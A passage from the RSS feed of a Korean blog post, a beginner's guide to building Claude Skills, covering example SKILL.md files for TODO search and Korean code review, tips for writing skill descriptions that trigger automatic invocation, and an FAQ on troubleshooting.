### Step 1: TODO 검색
Grep 도구로 다음 패턴을 검색한다:
- `TODO:`
- `FIXME:`
- `HACK:`

### Step 2: 결과 정리
파일별로 그룹화하여 보고서를 생성한다.

## Example
사용자: &quot;TODO 찾아줘&quot;
&amp;rarr; 이 스킬이 자동으로 활성화되어 TODO 목록을 정리한다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 2: 한국어 코드 리뷰 스킬&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;한국어로 코드 리뷰를 요청할 때 자동으로 활성화되는 스킬이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// korean-code-review/SKILL.md&lt;/div&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;---
name: korean-code-review
description: &quot;한국어로 코드 리뷰를 제공한다. 코드 품질, 성능, 보안을 검사하고 개선 제안을 드린다. Use when user asks for code review, 리뷰, 코드 검토, 개선점. Keywords: 리뷰, review, 코드 검사, 코드 품질, 개선 제안, code review.&quot;
allowed-tools:
  - &quot;Read&quot;
  - &quot;Grep&quot;
  - &quot;Glob&quot;
---

# 한국어 코드 리뷰

## 자동 호출 트리거
리뷰, review, 코드 검토, 코드 리뷰, 개선점 찾아줘

## Instructions

### 1. 파일 읽기
먼저 Read 도구로 파일을 읽습니다.

### 2. 검사 항목
- 코드 스타일
- 성능 이슈
- 보안 취약점
- 네이밍 규칙

### 3. 리뷰 작성
한국어로 구체적인 개선 제안을 제공한다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;초급자 팁: description 작성 순서&lt;/h4&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;핵심 기능&lt;/b&gt;을 한 문장으로 요약: &quot;TODO를 찾고 정리한다&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;사용 시기&lt;/b&gt;를 구체적으로: &quot;코드베이스에서 TODO를 검색할 때&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;키워드&lt;/b&gt;를 영어+한국어로: &quot;Keywords: TODO, todo, 할일&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;문맥&lt;/b&gt;을 추가: &quot;Use when user asks to find TODOs...&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin: 15px 0 0 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; description이 너무 짧으면 자동 호출이 안 될 수 있다. 50자 이상 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 16: 트러블슈팅 및 FAQ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;16. 트러블슈팅 및 FAQ&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #856404; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;자주 묻는 문제&lt;/h4&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q1: 스킬이 자동으로 호출되지 않아요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #dc3545;&quot;&gt;가장 흔한 문제다!&lt;/span&gt; &lt;code&gt;description&lt;/code&gt; 필드를 확인해보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 15px; border-radius: 8px; margin: 15px 0; border-left: 4px solid #dc3545;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;나쁜 예 (너무 짧음)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e3a52; color: #e2e8f0; padding: 12px; border-radius: 6px; margin: 10px 0; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px;&quot;&gt;&lt;code&gt;description: &quot;A skill for planning&quot;&lt;/code&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;문제: &quot;plan&quot;이라는 단어만으로는 의도 파악이 어렵다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff; padding: 15px; border-radius: 8px; margin: 15px 0; border-left: 4px solid #28a745;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;좋은 예 (구체적)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e3a52; color: #e2e8f0; padding: 12px; border-radius: 6px; margin: 10px 0; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px;&quot;&gt;&lt;code&gt;description: &quot;Creates phase-based feature plans with quality gates. Use when planning features, organizing work, breaking down tasks, creating roadmaps. Keywords: plan, planning, phases, breakdown, strategy, roadmap.&quot;&lt;/code&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;장점: 핵심 기능 + 사용 시기 + 명시적 키워드 포함&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결방법:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;description&lt;/code&gt;이 50자 이상인지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;명시적 키워드 포함 (&lt;code&gt;Keywords: ...&lt;/code&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;한국어 + 영어 키워드 혼용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;Use when...&lt;/code&gt;로 사용 시기 명시&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q2: 스킬이 의도치 않게 자동 호출돼요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;description&lt;/code&gt;이 너무 일반적이면, 관련 없는 요청에도 호출될 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 15px; border-radius: 8px; margin: 15px 0; border-left: 4px solid #ffc107;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;주의: 너무 일반적인 키워드&lt;/p&gt;
&lt;div style=&quot;background-color: #1e3a52; color: #e2e8f0; padding: 12px; border-radius: 6px; margin: 10px 0; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px;&quot;&gt;&lt;code&gt;description: &quot;Use this skill for code help, analysis, review, or improvements&quot;&lt;/code&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;문제: &quot;code&quot;, &quot;help&quot; 같은 일반적인 단어는 거의 모든 요청에 매칭된다!&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결방법:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;구체적인 키워드 사용 (예: &quot;conventional commit&quot; 대신 &quot;commit&quot;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;Use when...&lt;/code&gt;로 구체적 상황 명시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;사용하지 말아야 할 경우&quot; 섹션 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q3: 한국어 키워드가 작동하지 않아요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로는 잘&amp;nbsp;&lt;b&gt;작동한다!&lt;/b&gt; 다만, description에 한국어 키워드를 명시해야 한다. (오래전 예전 버전의 경우 한글 스킬이 잘 트리거 되지 않긴 하였다.)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 15px; border-radius: 8px; margin: 15px 0; border-left: 4px solid #0066cc;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;다국어 스킬 예시&lt;/p&gt;
&lt;div style=&quot;background-color: #1e3a52; color: #e2e8f0; padding: 12px; border-radius: 6px; margin: 10px 0; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px;&quot;&gt;&lt;code&gt;description: &quot;Use when user mentions 'commit', '커밋', '커밋 메시지', 'git commit' or wants to create a commit message...&quot;&lt;/code&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;이렇게 하면 다음 모두가 자동 호출된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 0 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;커밋해줘&quot;&lt;/li&gt;
&lt;li&gt;&quot;commit message 만들어줘&quot;&lt;/li&gt;
&lt;li&gt;&quot;커밋 메시지 생성&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q4: allowed-tools를 꼭 써야 하나요?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아니요, 선택적이다.&lt;/b&gt; 기본적으로 스킬은 모든 도구에 접근할 수 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #f0f7ff;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;allowed-tools 필요 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;간단한 프롬프트 스킬&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #dc3545;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;파일 읽기/쓰기 스킬&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #dc3545;&quot;&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;외부 API 호출 스킬&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #28a745;&quot;&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버 사용 스킬&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #28a745;&quot;&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q5: Model-invoked가 정확히 뭔가요?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;&lt;b&gt;Claude 모델이 스스로 호출한다&lt;/b&gt;는 뜻이다. 사용자가 &lt;code&gt;/skill&lt;/code&gt; 명령어를 입력할 필요가 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;내부 동작 과정&lt;/h4&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;사용자가 요청: &quot;커밋 메시지 만들어줘&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;Claude가 &lt;b&gt;모든 스킬의 description&lt;/b&gt;을 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;의미적 유사도 계산 (Semantic Similarity)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;가장 적합한 스킬 선택: &lt;code&gt;commit-helper&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;color: #28a745; font-weight: 600;&quot;&gt;자동 활성화!&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin: 15px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;이 모든 과정이 &lt;b&gt;0.1초 이내&lt;/b&gt;에 자동으로 일어난다!&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;일반적인 문제&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;스킬이 너무 많으면 의도치 않은 스킬이 활성화될 수 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;description&lt;/code&gt;이 모호하면 잘못된 스킬이 선택될 수 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;명확하지 않은 목적은 잘못된 결과를 초래할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결방법:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;도구를 더 작은 단위로 분해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;각 도구가 하나의 일만 하도록 재구성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;명세 섹션에서 도구의 역할을 명확히 정의&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;일반적인 문제&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;도구 호출이 없는 skill은 설명만 하는 경향이 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;너무 많은 도구는 Claude를 혼란스럽게 할 수 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;명확하지 않은 목적은 잘못된 결과를 초래할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 17: 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;17. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;자료&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;링크&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;원본 PDF&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://x.com/ihtesham2005/status/2026039396735270915&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Complete Guide to Building Skill for Claude&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code 문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://docs.anthropic.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 공식 문서&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;작성일 기준&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2025년 2월 25일&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;마무리&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Skills는 반복되는 프롬프트 패턴을 효과적으로 패키징하는 강력한 방법이다. 이 가이드에서는 &lt;b&gt;자동 트리거 시스템&lt;/b&gt;과 &lt;b&gt;Model-invoked&lt;/b&gt; 호출 방식의 핵심을 설명했다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가장 중요한 것은 &lt;code&gt;description&lt;/code&gt; 필드다.&lt;/b&gt; 잘 작성된 description은 Claude가 사용자 의도를 정확히 파악하여 적절한 스킬을 자동으로 활성화하게 만든다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;초급자를 위한 핵심 요약:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;description은 50-200자&lt;/b&gt;로 구체적으로 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;한국어 + 영어 키워드&lt;/b&gt;를 모두 포함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Use when...&lt;/b&gt;로 사용 시기를 명시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Keywords:&lt;/b&gt;로 명시적 키워드 목록 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 스킬</category>
      <category>claude skill 사용방법</category>
      <category>claude skill 이란</category>
      <category>skills 사용 방법</category>
      <category>skills 정의</category>
      <category>스킬 만드는버</category>
      <category>클로드 스킬</category>
      <category>클로드 스킬 사용방법</category>
      <category>클로드 스킬 정의</category>
      <category>클로드 스킬이란</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/528</guid>
      <comments>https://goddaehee.tistory.com/528#entry528comment</comments>
      <pubDate>Wed, 25 Feb 2026 18:00:34 +0900</pubDate>
    </item>
  </channel>
</rss>